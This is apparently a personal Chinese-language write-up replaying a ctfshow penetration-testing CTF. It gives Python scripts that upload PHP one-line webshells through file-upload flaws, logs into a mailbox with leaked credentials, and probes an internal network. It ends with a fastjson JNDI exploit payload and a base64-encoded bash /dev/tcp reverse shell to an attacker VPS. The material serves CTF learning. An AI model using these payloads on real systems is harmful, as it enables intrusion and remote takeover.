ctfshow_RealWorldCTF渗透赛第二期复现wp
创始人
2025-05-28 06:18:16
0

因为不是官方wp,而且是照着官方wp复现的,俗称看着答案做题,所以称之为民间复现wp(

对于这道题呢,我就是妥妥的“不会的看热闹”,在匿名聊天网站匹配了好几次,也没匹配到派发菜狗玩具的群主小姐姐,后来因为平台多次遭受破坏,站长把场景一的getshell换成了信息泄露(比赛结束后应该是又改回来咯),我才看见了泄露的用户名和密码,但发现进了匿名聊天网站的后台好像也没什么用,于是直接开摆(

后来看了官方wp才知道居然是要拿着用户名和密码去登录真的163邮箱,这属实是没想到哇~

好啦,碎碎念结束,趁平台还没关(早就超过72h了我们敬爱的站长是不是忘了……)赶紧写(水)一篇博客!


目录

  • 场景一
    • 1.信息搜集
      • 1)获知项目名称
      • 2)去github搜索项目名
    • 2.源码审计
    • 3.getshell
      • 1)借助Python脚本上传文件
      • 2)蚁剑连接
    • 4.获得账号
  • 场景二
    • 1.登录邮箱查看邮件
    • 2.弱密码打开加密邮件
    • 3.获得新场景的地址
  • 场景三
    • 源码审计
  • 场景四
    • 1.getshell
      • 1)登录获取cookie
      • 2)借助Python脚本上传文件
      • 2)蚁剑连接
    • 2.内网扫描
      • 1)获取当前ip
      • 2)找到存活主机
      • 3)发现存在fastjson端口
    • 3.横向渗透
      • 1)启动监听和指定反弹端口合并在一步
      • 2)监听反弹
      • 3)在蚁剑连接的服务器新建文件
      • 4)在蚁剑的虚拟终端执行命令
      • 5)成功反弹shell
  • 后记

场景一

1.信息搜集

1)获知项目名称

打开场景一,看到是匿名聊天网站,联想到在「第一场」渗透赛的官方wp中,用出现在网站底部的项目名称去github找源码的思路,遂去点击网站底部的查看帮助看看能否获得些什么信息(现学现用了属于是
找到帮助信息
然后就从帮助文档页面的底部看到了项目名称:Anonymous-Chat-Room
得知项目名称

2)去github搜索项目名

这里要用全站搜索哦,然后第一个就是了!点进去看看源码。
github找到该项目

2.源码审计

看到有这么多文件,要我做源码审计我是真的会看不进去,可能多看多涨经验就好了吧,前提是要真的去多看……
从官方wp得知,有漏洞的源码在Anonymous-Chat-Room/client/photo_upload.php,后来看了其他师傅的wp得知,在聊天的界面有上传图片的功能,抓包能看出photo_upload.php这个文件有问题,存在任意文件上传漏洞,感觉这样从功能出发找问题会比挨个文件看代码要容易和快很多,即先对某个或某几个功能点进行抓包和分析,定位出存在漏洞的文件,再有针对性地去看对应文件中的源码,学到了学到了。
以及,从源码中还可以知道文件上传后其保存的路径是images/photo/,所以接下来就可以去上传一句话木马了~
源代码审计获得漏洞信息

3.getshell

1)借助Python脚本上传文件

先新建一个文件1.txt,内容就是一句话木马:


然后借助Python脚本上传php文件,这里写的就是官方wp中的Python脚本,注意这里的文件类型要符合上面源码中的要求

import requestsurl ="https://i.am.ctfer.com/photo_upload.php"files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}response = requests.post(url=url,files=files)print(response.text)

运行这段Python脚本,会打印出上传至服务器端的文件名(也就是响应包的内容啦),我这里是64103df7e47051.php,至于这个php文件保存的路径呢?就是从上面的源码中看出的images/photo/,然后就可以移步蚁剑尝试可否成功连接了。

2)蚁剑连接

连接成功

当然了不用Python脚本,用burp上传文件也是一样的,在聊天窗口选择图片格式的文件发送,拦截或者重发改成php后缀就可以了,这是后来又在burp里尝试的:
用burp上传文件

4.获得账号

根据我为数不多的经验,接下来应该是要在这个服务器中,寻找登录方面的信息,感觉要去去/var/www/html/,然后在这个路径下看到有login.php,点开看看,果然在这。于是得到了:
用户名:hacker_ctfshow@163.com
密码:Hacker_ctfsh0w
获得一组用户名和密码

虽然场景一有网站后台,但当时登进去了也没什么用,考点也确实不在这,下一步的正确做法是要去登录真实的163邮箱。

场景二

1.登录邮箱查看邮件

用户名:hacker_ctfshow@163.com
密码:Hacker_ctfsh0w
登录163邮箱
看到比较“可疑”的邮件“ctfshow入职通知”
登录邮箱看到可疑邮件

2.弱密码打开加密邮件

打开该邮件,发现这是个加密邮件,密码是弱密码123456
邮件需要密码

3.获得新场景的地址

打开邮件后出现了两个新的地址
获得新场景地址

场景三

源码审计

打开邮件中的“开发地址”,用登陆key成功登录后看到是xblog应用源码,从官方wp得知,在/c/t.php存在上传漏洞,这我是真看不出来,这太大胆了(指需要大胆猜测和大胆尝试才能那做出来这一步
xblog源码审计
而且这里可以直接在vscode的终端里getshell,虽然不知道在这里getshell有什么用,但是之前不知道原来还可以在vscode里这样操作哎!
在vscode终端getshell

场景四

1.getshell

1)登录获取cookie

直接打开https://blog.ctfer.com/是下面这个样子
打开blog的链接
从官方wp得知要先登录https://blog.ctfer.com/a/
至于为什么是从/a/处登录呢,可能还是从「场景三」里的代码审计得知的?可以看到在/a/index.php中有和登录相关的代码
目录a/下有关登录的源码
目录a/下的源码
接着去访问https://blog.ctfer.com/a/
看到的是如下界面,输入admin:123456
登录界面
然后下一个界面再输入一次admin:123456即可登录
再次输入用户名密码

有个不太明白的地方是,为什么有时候访问https://blog.ctfer.com/a/会直接出来上图中的这个界面(即没有了再往上一张图片的那个“检测到你是第一次进入”的界面),然后这里输入了admin:123456还会提示“验证错误”,有时清理了浏览器缓存、把浏览器退出重新开也还是一样的情况,需要等那么一小会儿之后才正常……然而在顺利的时候,即使登录状态没了,刷新一下重新登录就可以的,登录后的cookie也不会变,我不理解呜呜

正常登录后是这个样子,进入了一个编辑界面:
登录后的编辑界面
而我们主要是想得到登录成功的cookie,可以从浏览器开发者工具的“网络”中找到后复制
获得登录的cookie
可以看到我这里的cookie是85be88a3bfcf87c0c32a86acf746a419,需要把它放到下一步用的Python脚本中。

2)借助Python脚本上传文件

脚本来自官方wp,把cookie换成自己已经登录时的cookie即可
注意这里dat变量最前面是";然后才是eval($_POST[1])

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-09 11:05:32
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.comimport requestsurl = "https://blog.ctfer.com/c/t.php"cookie={"PHPSESSID":"85be88a3bfcf87c0c32a86acf746a419"
}data={"dat":'";eval($_POST[1]);?>',"title":"1","content":"%20",
}response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)print(response.text)

运行脚本,成功上传文件时打印的结果是:
php文件已经上传
上传的文件保存在/p/0.php,这个也是由「场景三」的代码审计得知的,这里再放个截图吧~(有时候也可能会出来"pid":1,布吉岛是不是因为在这之前刚好有其他人上传了文件?
上传文件的保存路径

2)蚁剑连接

蚁剑连接成功

2.内网扫描

(但是我不会扫,就浅浅记录一下复现结果

1)获取当前ip

在蚁剑的虚拟终端中执行命令
ip addr show
得知当前主机的内网地址是192.168.102.3(有时候也可能是.2)
查看ip

2)找到存活主机

执行ping 192.168.102.2 -c 1
看到执行结果显示无丢包,于是找到存活主机192.168.102.2(如果上一步是.2那么这一步是.3,你们懂吧)
(这里我还不会扫描……好在复现时候能一下试出来
找到存活主机

3)发现存在fastjson端口

执行curl http://192.168.102.2:8090
发现存在8090的fastjson端口
存在fastjson端口

3.横向渗透

下面才是对于我而言最难的地方,虽然对于熟悉nday漏洞的师傅们来说,fastjson漏洞复现是很熟悉很常规的内容,但是对于我来说,复现起来简直举步维艰(忍住眼泪,完全忍不住,不忍了,哇T o T
先说结果,我按照官方wp的步骤没复现出来,原因在于我的中间过程没有完全按照官方wp,因为我是临时借用了同事的vps,他的vps不能执行javac,于是我先在我的本机(MacOS)中执行了javac命令再将生成的class文件放到vps中,可能会因为跨平台带来问题吧,这是我目前试了数不清多少次后得出的最有可能的原因了……在这个过程中,有一位非常厉害的大佬一直指导我,他特别有耐心,给我讲解细节、帮我分析原因,真的非常感谢他。

后来,我的卷王同事说他搞定了,在方法上有一点区别,所以我在这里就记录一下后来跟同事学到的方法:

1)启动监听和指定反弹端口合并在一步

这里应该就是省去了官方wp中生成恶意class和vps挂恶意class的步骤,免去了我class文件跨平台的问题,当然并不是说官方wp用的方法不好,之前看了几篇关于fastjson复现的文章都是官方wp上的那种步骤,主要是我看来看去、试来试去依然还是玩不转……

下面的方法是用一条命令做了启动监听和指定反弹端口两个操作(应该是这样说吧?

先去把fastjson_tool.jar下载到vps中,然后在其所在目录执行命令:

java -cp fastjson_tool.jar fastjson.HLDAPServer 此处写vps的公网ip 3389 "bash -c {echo,想要执行命令的base64编码}|{base64,-d}|{bash,-i}"

其中echo的后面要执行的命令是
bash -i >& /dev/tcp/vps的ip/9999 0>&1
这句命令的base64编码可以用工具得到,这里侦听的端口和最后反弹到的端口我就和官方wp中用一样的了,分别是3389、9999
base64编码想执行的命令

2)监听反弹

再另开一个ssh连接窗口,执行命令nc -lvvnp 9999

3)在蚁剑连接的服务器新建文件

在蚁剑连接的服务器上新建两个文件,x.json和a.sh,这里大致就和官方wp一样了,要把其中的vps地址换成自己的,以及对于"dataSourceName"的值,前面的ldap和最后的Object在官方wp中是rmi和Exploit。
如果蚁剑的连接断掉了,就重新登录和上传一句话木马,再测试连接。

x.json的内容:
{
“e”: {
“@type”: “java.lang.Class”,
“val”: “com.sun.rowset.JdbcRowSetImpl”
},
“f”: {
“@type”: “com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”: “ldap://vps地址:3389/Object”,
“autoCommit”: true
}
}

a.sh的内容同官方wp:
curl -X POST -H ‘content-type:application/json’ http://192.168.102.2:8090/ -d @x.json
注意,这里的ip是之前那个“存活主机”的内网ip,最后也可能是.3

4)在蚁剑的虚拟终端执行命令

先给a.sh加执行权限,再执行a.sh
chmod u+x a.sh
./a.sh >2.txt
cat 2.txt
结果如下:
执行./a.sh

5)成功反弹shell

查看接收反弹的ssh连接窗口,看到已经反弹shell了,但是复现时已经没有/root/flag.txt了,所以ls一下看看就好,到这里就复现结束了。
反弹shell

后记

再次感谢某个超厉害的大佬的帮助,我感觉特别开心。感谢同事借给我vps还在百忙之中抽出时间复现了本题最后的横向渗透并教会了我。感谢ctfshow站长提供了这么好玩的渗透赛和详细的官方wp让我这样的小白也能跟着复现。

我可真是太能碎碎念了……写博客好累啊。因为中间有些内容还是没真正理解,所以可能有表达不对的地方,欢迎批评指正。我这人啊,实在是太弱了。一旦接受了自己的软弱,是开摆?还是反而能放下心中的包袱,去集中精力让自己变强?努力真的能变强吗?比较是偷走幸福的小偷,愿进一寸有进一寸的欢喜吧。

相关内容

热门资讯

安卓系统最强定位手机版,最强定... 你有没有想过,在茫茫人海中,如何让你的手机定位功能像侦探一样精准无误?今天,就让我带你一探究竟,揭秘...
安卓运行环境选哪个系统,And... 你有没有想过,你的安卓手机到底是在哪个运行环境下才能发挥出最佳性能呢?这可是个技术活儿,选对了系统,...
zui15系统是安卓系统吗,揭... 亲爱的读者,你是否曾好奇过,那些在手机上运行得风生水起的系统,它们究竟是不是安卓的呢?今天,就让我带...
ios系统和安卓系统权限区别,... 你有没有发现,无论是手机还是平板,我们用的最多的就是那些APP了。而这些APP,它们在手机里可是有着...
荣耀手环6安卓版系统,智能生活... 你有没有注意到,最近你的手腕上是不是多了一抹亮丽的色彩?没错,说的就是荣耀手环6安卓版系统!这款智能...
极品奴隶系统下载安卓版,体验独... 你有没有听说过那个超级火的“极品奴隶系统”安卓版?最近,这款游戏在朋友圈里可是炸开了锅,大家都说它好...
安卓手机苹果系统扣费,揭秘扣费... 你有没有遇到过这种情况?手机里突然多了一笔扣费,而且还是那种你完全没意识到的扣费?尤其是当你用的是安...
安卓系统智能电视刷机,焕新体验 亲爱的电视迷们,你是否曾为你的安卓智能电视的性能所困扰?是不是觉得它运行缓慢,功能受限?别担心,今天...
安卓系统无法安装applica... 最近是不是遇到了安卓系统无法安装application的烦恼?别急,让我来帮你一探究竟,解决这个让人...
怎么取消安卓系统锁屏,解锁锁屏... 手机锁屏功能虽然能保护我们的隐私,但有时候也会让人头疼,比如忘记密码或者想快速查看信息时。那么,怎么...
安卓系统高德怎么下载,轻松获取... 你有没有发现,现在手机上导航软件真是越来越方便了?尤其是安卓系统的用户,高德地图这款神器简直成了出行...
安卓系统的开源部分,开源代码背... 你知道吗?安卓系统,这个在我们手机上无处不在的小家伙,竟然有一部分是开源的!是不是觉得有点神奇?别急...
小米下载安卓13系统,畅享智能... 亲爱的手机控们,你是否已经迫不及待想要体验最新的操作系统呢?没错,我说的就是安卓13系统!而今天,我...
安卓系统如何设置拍月亮,捕捉夜... 月亮,那轮皎洁的夜空明珠,总是让人心生向往。你是否也想用你的安卓手机捕捉到它的美丽瞬间呢?别急,今天...
安卓v8以上系统,探索安卓V8... 你知道吗?最近手机界可是掀起了一股新潮流,那就是安卓V8以上系统。这可不是什么小打小闹,而是实实在在...
安卓系统兼容哪个版本好,哪个版... 你有没有想过,你的安卓手机到底兼容哪个版本的系统最好呢?这可是个技术活儿,得好好研究研究。别急,今天...
安卓平板安装linux桌面系统... 你有没有想过给你的安卓平板来个变身大法?没错,就是给它安装一个Linux桌面系统!想象原本只能刷刷剧...
安卓什么手机系统bug最少,揭... 你有没有发现,用安卓手机的时候,有时候会遇到一些小麻烦,比如系统突然卡顿,或者某个应用突然崩溃,真是...
手机软件安卓下载系统,解锁手机... 你有没有发现,现在的生活越来越离不开手机了?手机里装满了各种各样的软件,让我们的生活变得更加便捷。今...
微软系统和安卓系统的cad软件... 你有没有想过,为什么你的电脑里装的是微软系统,而朋友的手机上却是安卓系统?这背后其实隐藏着一场关于操...